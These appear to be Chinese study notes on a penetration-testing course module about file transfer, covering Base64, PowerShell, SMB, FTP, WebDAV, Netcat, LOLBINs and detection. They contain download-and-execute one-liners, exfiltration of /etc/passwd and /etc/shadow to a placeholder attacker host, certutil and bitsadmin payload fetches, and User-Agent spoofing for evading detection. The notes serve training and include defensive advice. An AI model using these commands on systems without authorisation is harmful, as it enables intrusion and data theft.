模块共 10 小节。本文按“适用场景—前置条件—服务端准备—客户端操作—校验—限制与风险”重新整理,不照搬课程原文。命令中的地址、凭据、文件和载荷均为课程示例,只能在获授权的实验或评估环境中使用。
1. 文件传输:为什么要掌握多种方法
文件传输不是简单的“下载一个文件”,而是在主机控制和网络限制下选择一条实际可用的路径。课程开场场景展示了典型限制链:
- PowerShell 被应用程序控制策略阻止。
- GitHub、网盘等站点被 Web 内容过滤。
- FTP 的 TCP 21 出站流量被防火墙阻断。
- SMB 的 TCP 445 出站流量仍可用。
- 最终通过 Impacket SMB Server 完成传输。
选择方法前先回答:
- 传输方向是攻击主机到目标,还是目标到攻击主机?
- 允许哪些入站/出站端口和协议?
- 目标具备哪些原生命令、运行时和权限?
- PowerShell、脚本解释器或未知二进制是否被白名单/EDR 阻止?
- 数据是否敏感,是否必须加密?
- 文件是否必须落盘,还是可直接在内存/管道中处理?
- 如何验证文件完整性并在结束后清理?
主机侧的应用控制、AV/EDR 与网络侧防火墙、IDS/IPS 都可能改变传输结果。某种方法失败后,应根据错误类型切换协议、端口、发起连接的一侧或目标自带工具,而不是机械重复。
2. Windows 文件传输方法
2.1 Base64:适合小文件和无网络环境
Base64 不是加密,只是把二进制表示为可复制文本。适合小文件、受限终端和剪贴板传输;大文件会显著膨胀且容易因截断损坏。
Linux/Pwnbox 编码,Windows 解码
先记录原文件哈希:
md5sum id_rsa
cat id_rsa | base64 -w 0; echo
在 Windows PowerShell 中把复制到的 Base64 字符串还原:
[IO.File]::WriteAllBytes(
'C:\Users\Public\id_rsa',
[Convert]::FromBase64String('<BASE64字符串>')
)
验证完整性:
Get-FileHash C:\Users\Public\id_rsa -Algorithm MD5
两端哈希应一致。课程使用 MD5 作为传输完整性指纹,而不是密码学安全用途。
Windows 编码,Linux 解码
[Convert]::ToBase64String(
(Get-Content -Path 'C:\Windows\System32\drivers\etc\hosts' -Encoding Byte)
)
Get-FileHash 'C:\Windows\System32\drivers\etc\hosts' -Algorithm MD5
echo '<BASE64字符串>' | base64 -d > hosts
md5sum hosts
2.2 PowerShell Web 下载
前置条件:目标允许 HTTP/HTTPS 出站,PowerShell/.NET WebClient 未被策略阻止,远端 URL 可访问。
DownloadFile 与异步下载
(New-Object Net.WebClient).DownloadFile(
'https://example/PowerView.ps1',
'C:\Users\Public\Downloads\PowerView.ps1'
)
(New-Object Net.WebClient).DownloadFileAsync(
'https://example/PowerView.ps1',
'C:\Users\Public\Downloads\PowerViewAsync.ps1'
)
Invoke-WebRequest
Invoke-WebRequest 'https://example/PowerView.ps1' -OutFile PowerView.ps1
旧版 PowerShell 若提示 Internet Explorer 引擎未初始化:
Invoke-WebRequest 'https://example/PowerView.ps1' -UseBasicParsing -OutFile PowerView.ps1
管道/内存执行
IEX (New-Object Net.WebClient).DownloadString('https://example/script.ps1')
(New-Object Net.WebClient).DownloadString('https://example/script.ps1') | IEX
这类方法避免保存脚本文件本体,但执行内容依然可能写入临时文件、产生进程/脚本日志或被 AMSI/EDR 检测。课程中的“无文件”不等于“无痕”。
常见 TLS 错误
若出现“无法建立 SSL/TLS 信任关系”,课程演示了临时关闭证书验证:
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
这会失去服务器身份校验,仅适合隔离实验,不能作为生产环境的正常配置。
2.3 SMB 下载
适用场景:TCP 445 可达;目标允许访问 UNC 路径。新 Windows 往往阻止未认证 Guest,因此应准备账号密码。
Pwnbox 建立 SMB 共享
sudo impacket-smbserver share -smb2support /tmp/smbshare
Windows 下载:
copy \\<PWNBOX_IP>\share\nc.exe
若 Guest 被安全策略阻止,使用认证共享:
sudo impacket-smbserver share -smb2support /tmp/smbshare \
-user test -password test
net use n: \\<PWNBOX_IP>\share /user:test test
copy n:\nc.exe
传输结束后应断开映射并停止临时服务,避免共享长时间暴露。
2.4 FTP 下载
首次安装与服务端启动
sudo pip3 install pyftpdlib
sudo python3 -m pyftpdlib --port 21
默认示例允许匿名读取当前目录。TCP 21 需要可达,数据通道还可能受 NAT/防火墙影响。
PowerShell 下载:
(New-Object Net.WebClient).DownloadFile(
'ftp://<PWNBOX_IP>/file.txt',
'C:\Users\Public\ftp-file.txt'
)
Windows FTP 客户端可使用命令文件实现非交互下载:
echo open <PWNBOX_IP> > ftpcommand.txt
echo USER anonymous >> ftpcommand.txt
echo binary >> ftpcommand.txt
echo GET file.txt >> ftpcommand.txt
echo bye >> ftpcommand.txt
ftp -v -n -s:ftpcommand.txt
binary 可避免二进制文件因文本模式换行转换而损坏。
2.5 Windows HTTP 上传
Pwnbox 安装并启动上传服务
pip3 install uploadserver
python3 -m uploadserver
上传端点为 /upload,默认端口 8000。
使用课程 PowerShell 上传函数
IEX(New-Object Net.WebClient).DownloadString(
'https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1'
)
Invoke-FileUpload \
-Uri http://<PWNBOX_IP>:8000/upload \
-File C:\Windows\System32\drivers\etc\hosts
Base64 经 HTTP POST 上传
$b64 = [Convert]::ToBase64String(
(Get-Content -Path 'C:\Windows\System32\drivers\etc\hosts' -Encoding Byte)
)
Invoke-WebRequest -Uri http://<PWNBOX_IP>:8000/ -Method POST -Body $b64
接收端可用 Netcat 观察请求体:
nc -lvnp 8000
取出 Base64 后还原:
echo '<BASE64字符串>' | base64 -d -w 0 > hosts
2.6 WebDAV:当 SMB 出站受限时
Windows Mini-Redirector 可通过 WebDAV 访问远端目录。课程使用 WsgiDAV:
sudo pip3 install wsgidav cheroot
sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous
Windows 查看:
dir \\<PWNBOX_IP>\DavWWWRoot
上传:
copy C:\Users\john\Desktop\SourceCode.zip \\<PWNBOX_IP>\DavWWWRoot\
copy C:\Users\john\Desktop\SourceCode.zip \\<PWNBOX_IP>\sharefolder\
DavWWWRoot 是 Windows WebDAV 重定向器用于表示服务根目录的特殊名称;若指定服务器上真实存在的目录,可直接使用目录名。
课程示例启用了匿名写入和明文 HTTP,仅限短时实验。日志中的匿名写权限与未启用 TLS 警告必须认真对待。

2.7 FTP 上传
服务端必须显式允许写入:
sudo python3 -m pyftpdlib --port 21 --write
PowerShell:
(New-Object Net.WebClient).UploadFile(
'ftp://<PWNBOX_IP>/ftp-hosts',
'C:\Windows\System32\drivers\etc\hosts'
)
Windows FTP 命令文件:
echo open <PWNBOX_IP> > ftpcommand.txt
echo USER anonymous >> ftpcommand.txt
echo binary >> ftpcommand.txt
echo PUT C:\Windows\System32\drivers\etc\hosts >> ftpcommand.txt
echo bye >> ftpcommand.txt
ftp -v -n -s:ftpcommand.txt
--write 会给匿名用户写权限,应限定目录、时间和网络边界,并在完成后立即停止。

3. Linux 文件传输方法
3.1 Base64 与哈希校验
md5sum id_rsa
cat id_rsa | base64 -w 0; echo
目标端解码:
echo -n '<BASE64字符串>' | base64 -d > id_rsa
md5sum id_rsa
反向上传同理:在目标端编码,在 Pwnbox 解码。适合小文件及没有可用网络通道的终端。
3.2 wget 与 curl
wget https://example/LinEnum.sh -O /tmp/LinEnum.sh
curl -o /tmp/LinEnum.sh https://example/LinEnum.sh
注意差异:wget 输出文件参数为大写 -O,curl 为小写 -o。
3.3 管道执行
curl https://example/LinEnum.sh | bash
wget -qO- https://example/helloworld.py | python3
适用场景是无需保存脚本源文件的单次执行。执行前必须确认来源和内容;脚本自身仍可能创建文件或产生其他落盘痕迹。
3.4 Bash /dev/tcp
前置条件:Bash 2.04+ 且编译时启用网络重定向;已知 Web 服务地址和路径。
exec 3<>/dev/tcp/<服务器IP>/80
echo -e 'GET /LinEnum.sh HTTP/1.1\n\n' >&3
cat <&3
它适合 wget、curl 等常见工具都不存在的情况。示例仅发送最简单的 HTTP 请求,复杂站点可能还需要正确的 Host 头和连接处理。
3.5 SSH/SCP 下载与上传
SSH 下载需要远端 SSH Server 可用、TCP 22 可达及有效账号/密钥。课程在 Pwnbox 上启用并验证服务:
sudo systemctl enable ssh
sudo systemctl start ssh
netstat -lnpt
从远端下载:
scp user@<远端IP>:/root/myroot.txt .
向远端上传:
scp /etc/passwd htb-student@<目标IP>:/home/htb-student/
SCP 语法类似 cp:一个参数是来源,另一个是目标;远端路径用 用户@主机:路径 表示。
3.6 Linux HTTPS 上传服务
安装上传模块:
sudo python3 -m pip install --user uploadserver
创建实验用自签名证书:
openssl req -x509 -out server.pem -keyout server.pem \
-newkey rsa:2048 -nodes -sha256 -subj '/CN=server'
启动 HTTPS 上传端点:
mkdir https && cd https
sudo python3 -m uploadserver 443 --server-certificate ~/server.pem
目标端上传多个文件:
curl -X POST https://<PWNBOX_IP>/upload \
-F 'files=@/etc/passwd' \
-F 'files=@/etc/shadow' \
--insecure
--insecure 是因为课程使用自签名证书,它跳过证书验证。敏感数据还应先加密,且只收集测试范围内必要信息。
3.7 快速建立下载服务器
在目标目录启动服务,该目录即 Web 根目录:
python3 -m http.server
python2.7 -m SimpleHTTPServer
php -S 0.0.0.0:8000
ruby -run -ehttpd . -p8000
Pwnbox 下载:
wget http://<目标IP>:8000/filetotransfer.txt
前置条件是目标入站端口可达;若入站被阻止,应让目标主动连接 Pwnbox 或改用 SCP/允许的出站协议。

4. 使用编程语言传输文件
机器上已有的解释器可以成为备用传输工具。选择前先用版本命令确认解释器和所需模块存在。
4.1 Python 下载
python2.7 -c 'import urllib; urllib.urlretrieve("https://example/LinEnum.sh", "LinEnum.sh")'
python3 -c 'import urllib.request; urllib.request.urlretrieve("https://example/LinEnum.sh", "LinEnum.sh")'
4.2 PHP 下载或管道执行
php -r '$f=file_get_contents("https://example/LinEnum.sh"); file_put_contents("LinEnum.sh",$f);'
以流方式复制:
php -r 'const BUFFER=1024; $r=fopen("https://example/LinEnum.sh","rb"); $l=fopen("LinEnum.sh","wb"); while($b=fread($r,BUFFER)){fwrite($l,$b);} fclose($l); fclose($r);'
直接输出并交给 Bash:
php -r '$lines=@file("https://example/LinEnum.sh"); foreach($lines as $line){echo $line;}' | bash
URL 作为文件名依赖 PHP 已启用相应的 fopen wrapper。
4.3 Ruby 与 Perl
ruby -e 'require "net/http"; File.write("LinEnum.sh", Net::HTTP.get(URI.parse("https://example/LinEnum.sh")))'
perl -e 'use LWP::Simple; getstore("https://example/LinEnum.sh", "LinEnum.sh");'
4.4 Windows JavaScript / VBScript
Windows 可通过 cscript.exe 执行自定义下载脚本:
cscript.exe /nologo wget.js https://example/PowerView.ps1 PowerView.ps1
cscript.exe /nologo wget.vbs https://example/PowerView.ps1 PowerView2.ps1
课程中的 JS 使用 WinHttp.WinHttpRequest.5.1 与 ADODB.Stream;VBS 使用 Microsoft.XMLHTTP 与 Adodb.Stream。前置条件是对应 COM 组件和脚本宿主未被应用控制策略阻止。
4.5 Python 上传
接收端:
python3 -m uploadserver
上传端:
python3 -c 'import requests; requests.post("http://<PWNBOX_IP>:8000/upload", files={"files":open("/etc/passwd","rb")})'
需要 Python 3、requests 模块、可读源文件和可达的上传端点。
5. 其他传输方法
5.1 Netcat / Ncat
Netcat/Ncat 读写 TCP/UDP 流,双方必须就监听端口、传输方向和输出重定向达成一致。它默认不提供加密和身份认证。
目标监听,Pwnbox 发送
目标:
nc -l -p 8000 > received.bin
# 或
ncat -l -p 8000 --recv-only > received.bin
Pwnbox:
nc -q 0 <目标IP> 8000 < source.bin
# 或
ncat --send-only <目标IP> 8000 < source.bin
Pwnbox 监听,目标主动连接
Pwnbox:
sudo nc -l -p 443 -q 0 < source.bin
# 或
sudo ncat -l -p 443 --send-only < source.bin
目标:
nc <PWNBOX_IP> 443 > received.bin
# 或
ncat <PWNBOX_IP> 443 --recv-only > received.bin
没有 Netcat 时,Bash 可接收:
cat < /dev/tcp/<PWNBOX_IP>/443 > received.bin
当目标入站连接被阻止时,优先让目标主动建立出站连接。传输完成后应比较哈希。
5.2 PowerShell Remoting / WinRM
前置条件:TCP 5985(HTTP)或 5986(HTTPS)可达;当前身份是管理员、Remote Management Users 成员,或被授予对应会话权限。
检查端口:
Test-NetConnection -ComputerName DATABASE01 -Port 5985
创建会话:
$Session = New-PSSession -ComputerName DATABASE01
发送到远端:
Copy-Item -Path C:\samplefile.txt \
-ToSession $Session \
-Destination C:\Users\Administrator\Desktop\
从远端取回:
Copy-Item -Path 'C:\Users\Administrator\Desktop\DATABASE.txt' \
-Destination C:\ \
-FromSession $Session
5.3 RDP 目录映射
除复制粘贴外,可把 Linux 本地目录映射到 RDP 会话:
rdesktop <目标IP> -d HTB -u administrator -p '<密码>' \
-r disk:linux='/home/user/rdesktop/files'
xfreerdp /v:<目标IP> /d:HTB /u:administrator /p:'<密码>' \
/drive:linux,/home/user/filetransfer
远端 Windows 中通过 \tsclient\linux 访问。前置条件是 RDP 可达、有效凭据,以及客户端允许磁盘重定向。Windows Defender 可能扫描并删除映射目录中的恶意样本。


6. 受保护的文件传输
测试中可能接触账号列表、凭据、AD 枚举和基础设施信息。除非客户明确要求,不应导出真实 PII、财务数据或商业秘密;测试 DLP 时应优先使用形态相似的虚拟数据。
首选 SSH、SFTP、HTTPS 等加密通道;若通道不可用,先对文件加密再传输。
6.1 Windows AES 文件加密
课程使用 Invoke-AESEncryption.ps1。导入模块:
Import-Module .\Invoke-AESEncryption.ps1
加密文件:
Invoke-AESEncryption -Mode Encrypt -Key '<强且唯一的密码>' -Path .\scan-results.txt
生成 scan-results.txt.aes。解密时对 .aes 文件使用 -Mode Decrypt 和相同密钥。每个客户/评估都应使用不同的强密码,不要复用。
6.2 Linux OpenSSL 加密
openssl enc -aes256 -iter 100000 -pbkdf2 \
-in /etc/passwd -out passwd.enc
解密:
openssl enc -d -aes256 -iter 100000 -pbkdf2 \
-in passwd.enc -out passwd
双方必须使用相同算法、迭代次数、PBKDF2 设置和密码。加密文件仍建议通过 HTTPS/SFTP/SSH 传输。
7. 通过 HTTP/S 接收文件:Nginx PUT
HTTP/HTTPS 通常较容易穿过防火墙。课程用 Nginx 建立只接受 PUT 的上传目录,避免把上传目录配置为可执行 PHP 的 Web 根目录。
7.1 创建目录和权限
sudo mkdir -p /var/www/uploads/SecretUploadDirectory
sudo chown -R www-data:www-data /var/www/uploads/SecretUploadDirectory
7.2 Nginx 配置
创建 /etc/nginx/sites-available/upload.conf:
server {
listen 9001;
location /SecretUploadDirectory/ {
root /var/www/uploads;
dav_methods PUT;
}
}
启用并重启:
sudo ln -s /etc/nginx/sites-available/upload.conf /etc/nginx/sites-enabled/
sudo systemctl restart nginx.service
7.3 排查端口冲突
tail -2 /var/log/nginx/error.log
ss -lnpt | grep 80
ps -ef | grep <PID>
课程在 Pwnbox 上发现默认站点绑定 80,于是移除默认链接:
sudo rm /etc/nginx/sites-enabled/default
这是会改变 Nginx 配置的操作;实际使用前应确认默认站点确实不再需要,并保留恢复方式。
7.4 上传与验证
curl -T /etc/passwd \
http://localhost:9001/SecretUploadDirectory/users.txt
sudo tail -1 /var/www/uploads/SecretUploadDirectory/users.txt
还要确认上传目录未启用目录列表,上传内容不能被 Web 服务器执行,并限制网络来源、文件名和权限。
8. Living off the Land:LOLBAS 与 GTFOBins
“Living off the Land” 是复用系统已有、受信任的二进制执行下载、上传、命令执行或文件读写。课程建议用:
- LOLBAS:查找 Windows 二进制的 /download、/upload 能力。
- GTFOBins:查找 Linux 二进制的 +file download、+file upload 能力。


8.1 CertReq.exe 上传示例
Pwnbox 接收:
sudo nc -lvnp 8000
Windows 发送:
certreq.exe -Post -config http://<PWNBOX_IP>:8000/ C:\Windows\win.ini
Netcat 中会看到包含文件内容的 HTTP POST。课程指出某些 certreq.exe 版本没有 -Post 参数。
8.2 OpenSSL 传输
Pwnbox 创建自签名证书:
openssl req -newkey rsa:2048 -nodes -keyout key.pem \
-x509 -days 365 -out certificate.pem
服务端发送文件:
openssl s_server -quiet -accept 80 \
-cert certificate.pem -key key.pem < /tmp/LinEnum.sh
客户端接收:
openssl s_client -connect <PWNBOX_IP>:80 -quiet > LinEnum.sh
8.3 BITS 下载
bitsadmin /transfer wcb /priority foreground \
http://<PWNBOX_IP>:8000/nc.exe \
C:\Users\htb-student\Desktop\nc.exe
PowerShell 模块:
Import-Module BitsTransfer
Start-BitsTransfer \
-Source 'http://<PWNBOX_IP>:8000/nc.exe' \
-Destination 'C:\Windows\Temp\nc.exe'
8.4 Certutil 下载
certutil.exe -verifyctl -split -f http://<PWNBOX_IP>:8000/nc.exe
课程指出 AMSI/安全产品已经能识别常见的恶意 Certutil 用法。因此“系统自带”并不意味着不可检测或自动获准。
9. 检测文件传输
简单命令行黑名单容易被大小写或语法变化绕过;允许列表和行为基线初期成本较高,但更稳健。
HTTP 客户端通常暴露有辨识度的 User-Agent 和请求行为:
客户端 典型网络特征 PowerShell Invoke-WebRequest / Invoke-RestMethod WindowsPowerShell/<版本> User-Agent WinHttpRequest WinHttp.WinHttpRequest.5 Msxml2.XMLHTTP 类 IE/Trident User-Agent,伴随 UA-CPU 等头 Certutil Microsoft-CryptoAPI/10.0,常带 Cache-Control: no-cache BITS 先发 HEAD,User-Agent 为 Microsoft BITS/<版本>
组织可把合法浏览器、系统更新、AV 更新等常见 User-Agent 建立基线并导入 SIEM,再调查异常工具、罕见父进程、异常目的地、非常规端口和不寻常文件路径。
检测不能只依赖 User-Agent,因为它可被修改;还应关联命令行、进程树、DNS、代理、防火墙、Web 服务日志和文件创建事件。
10. 课程中的规避检测示例
本节是为了理解攻防对抗和验证检测覆盖,只能在明确包含规避测试的授权范围内使用。
10.1 修改 PowerShell User-Agent
列出内置 User-Agent:
[Microsoft.PowerShell.Commands.PSUserAgent].GetProperties() |
Select-Object Name,
@{Label='User Agent';Expression={
[Microsoft.PowerShell.Commands.PSUserAgent]::$($_.Name)
}} | Format-List
使用 Chrome 标识发起请求:
$UserAgent = [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome
Invoke-WebRequest http://<服务器IP>/nc.exe \
-UserAgent $UserAgent \
-OutFile 'C:\Users\Public\nc.exe'
这只能改变一个表层网络特征,无法隐藏 PowerShell 进程、命令行、目的地址、文件写入和其他遥测。
10.2 其他 LOLBIN
课程以部分 Intel 图形驱动环境中的 GfxDownloadWrapper.exe 为例:
GfxDownloadWrapper.exe 'http://<服务器IP>/file.exe' 'C:\Temp\file.exe'
它说明受信任程序也可能具有下载能力,不代表该二进制在所有系统都存在。防御侧应关注“合法程序执行异常功能”的行为,而非只按文件名放行。
11. 方法选择矩阵
方法 主要前置条件 加密 是否落盘 常见限制 Base64 复制 终端/剪贴板 否 通常是 仅适合小文件,易截断 PowerShell WebClient/IWR PowerShell、HTTP/S 出站 HTTPS 时是 可选 ACP、AMSI、代理、证书、内容过滤 SMB TCP 445、共享访问 视 SMB 配置 是 Guest 被禁、边界常封锁 WebDAV HTTP/S、Windows 重定向器 HTTPS 时是 是 认证和写权限配置风险 FTP TCP 21 与数据通道 通常否 是 防火墙/NAT、匿名写风险 wget/curl HTTP/S 出站 HTTPS 时是 可选 工具可能不存在或被代理限制 SCP SSH、TCP 22、凭据/密钥 是 是 SSH 服务与权限要求 Netcat/Ncat 任意可达 TCP/UDP 端口 默认否 是 无认证、易被监控、连接方向受防火墙影响 WinRM Session 5985/5986、远程管理权限 协议保护 是 权限和 WinRM 配置 RDP 目录映射 RDP 凭据与资源重定向 RDP 保护 是 策略/Defender、交互会话要求 Python/PHP/Ruby/Perl 对应解释器/模块 取决于协议 可选 版本和依赖差异 LOLBIN/GTFOBin 特定二进制存在且功能适用 取决于工具 多数是 高度依赖版本,仍可能被行为检测
12. 推荐实操流程
确定方向与文件敏感度
↓
确认可达端口、代理、防火墙与目标工具
↓
优先使用加密且可审计的 SSH/SFTP/HTTPS
↓
必要时先加密文件,再选择可用协议
↓
启动最小权限、最短时长的临时服务
↓
执行传输并记录命令、来源与目标路径
↓
比较文件大小和哈希
↓
停止服务、撤销共享、删除临时文件与凭据
每次传输都应记录
### <文件名>
- 来源与目标:
- 传输方向:下载 / 上传
- 方法与端口:
- 使用账号/权限:
- 是否加密:
- 是否落盘:
- 源文件哈希:
- 目标文件哈希:
- 遇到的限制或错误:
- 清理结果:
13. 关键注意事项
- Base64 是编码,不是加密;敏感数据应单独加密。
- 不因“文件未保存”就称其完全无文件;管道载荷可能产生临时文件和其他痕迹。
- 不要在命令行、脚本或笔记中长期保留真实客户密码。
- 临时 SMB、FTP、WebDAV、HTTP PUT 和上传服务器应限定接口、目录、权限和开放时间。
- 匿名写入只适合隔离实验,绝不能长期暴露。
- 使用 HTTPS 时应正确验证证书;--insecure 或全局禁用验证仅用于课程自签名环境。
- 真实评估中只收集完成目标所需的最少数据;测试 DLP 优先使用虚拟数据。
- 文件传输成功必须用哈希或至少文件大小验证,不能只看命令退出状态。
- Defender/EDR 可能删除 RDP 映射目录或共享中的样本,传输失败时同时检查安全日志与隔离区。
- LOLBAS/GTFOBins 是工具能力索引,不是“不可检测清单”;合法二进制的异常行为同样可被检测。
